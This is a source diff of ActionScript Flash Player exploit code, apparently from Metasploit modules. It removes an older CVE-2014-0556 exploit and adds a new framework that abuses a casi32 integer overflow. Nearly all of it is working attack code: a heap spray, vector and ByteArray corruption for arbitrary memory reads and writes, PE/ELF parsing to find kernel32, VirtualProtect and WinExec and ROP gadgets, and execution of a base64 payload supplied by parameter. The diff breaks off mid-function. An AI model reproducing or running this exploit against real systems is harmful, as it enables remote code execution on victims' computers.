import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,182 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.BitmapData
|
||||
import flash.geom.Rectangle
|
||||
import flash.utils.ByteArray
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(12800)
|
||||
private var bd:BitmapData = new BitmapData(128, 16)
|
||||
private var i:uint = 0
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var b64:Base64Decoder = new Base64Decoder()
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var payload:String = b64.toByteArray().toString()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
bv[i] = new ByteArray()
|
||||
bv[i].length = 0x2000
|
||||
bv[i].position = 0xFFFFF000
|
||||
}
|
||||
|
||||
for (i = 0; i < bv.length; i++)
|
||||
if (i % 2 == 0) bv[i] = null
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1022)
|
||||
}
|
||||
|
||||
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||
|
||||
for (i = 0; ; i++)
|
||||
if (uv[i].length == 0xffffffff) break
|
||||
|
||||
for (var i2:uint = 1; i2 < uv.length; i2++) {
|
||||
if (i == i2) continue
|
||||
uv[i2] = new Vector.<Object>(1014)
|
||||
uv[i2][0] = bv[6401]
|
||||
uv[i2][1] = this
|
||||
}
|
||||
|
||||
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
|
||||
bv[6401].endian = "littleEndian"
|
||||
bv[6401].length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
|
||||
var main:uint = uv[i][0xfffffc09] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
|
||||
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
|
||||
byte_write(uv[i][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer + 0x100, payload, true)
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x80)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x100)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
this.toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) bv[6401].position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
|
||||
if (zero) bv[6401].writeByte(0)
|
||||
} else bv[6401].writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
bv[6401].position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return bv[6401].readUnsignedInt()
|
||||
case "word":
|
||||
return bv[6401].readUnsignedShort()
|
||||
case "byte":
|
||||
return bv[6401].readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,72 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,114 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Exploit.as
|
||||
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||
private var uv:Vector.<uint>
|
||||
private var ba:ByteArray
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var exploiter:Exploiter
|
||||
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(200)
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
defrag[i].endian = "littleEndian"
|
||||
}
|
||||
|
||||
ba = new ByteArray()
|
||||
ov[0] = ba
|
||||
ov[0].length = BYTE_ARRAY_SIZE
|
||||
ov[0].endian = "littleEndian"
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<uint>(1014)
|
||||
ov[i][0] = 0x41424344
|
||||
}
|
||||
|
||||
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||
// Make ByteArray length 0 so the casi32 integer overflow
|
||||
// can be exploited
|
||||
ba.atomicCompareAndSwapLength(1024, 0)
|
||||
|
||||
try {
|
||||
var uint_vector_pos:uint = search_uint_vector()
|
||||
} catch (err:Error) {
|
||||
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
|
||||
return
|
||||
}
|
||||
|
||||
// Overwrite uint vector length
|
||||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||
|
||||
for (i = 0; i < ov.length; i++) {
|
||||
if (ov[i].length > 1024) {
|
||||
uv = ov[i]
|
||||
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
|
||||
} else {
|
||||
ov[i] = null
|
||||
}
|
||||
}
|
||||
|
||||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
|
||||
// Methods to use the integer overflow
|
||||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function read_byte_array(offset:uint = 0):uint {
|
||||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||
return old
|
||||
}
|
||||
|
||||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||
var old:uint = read_byte_array(offset)
|
||||
casi32(offset, old, value)
|
||||
return old
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 1014
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,399 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(10000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
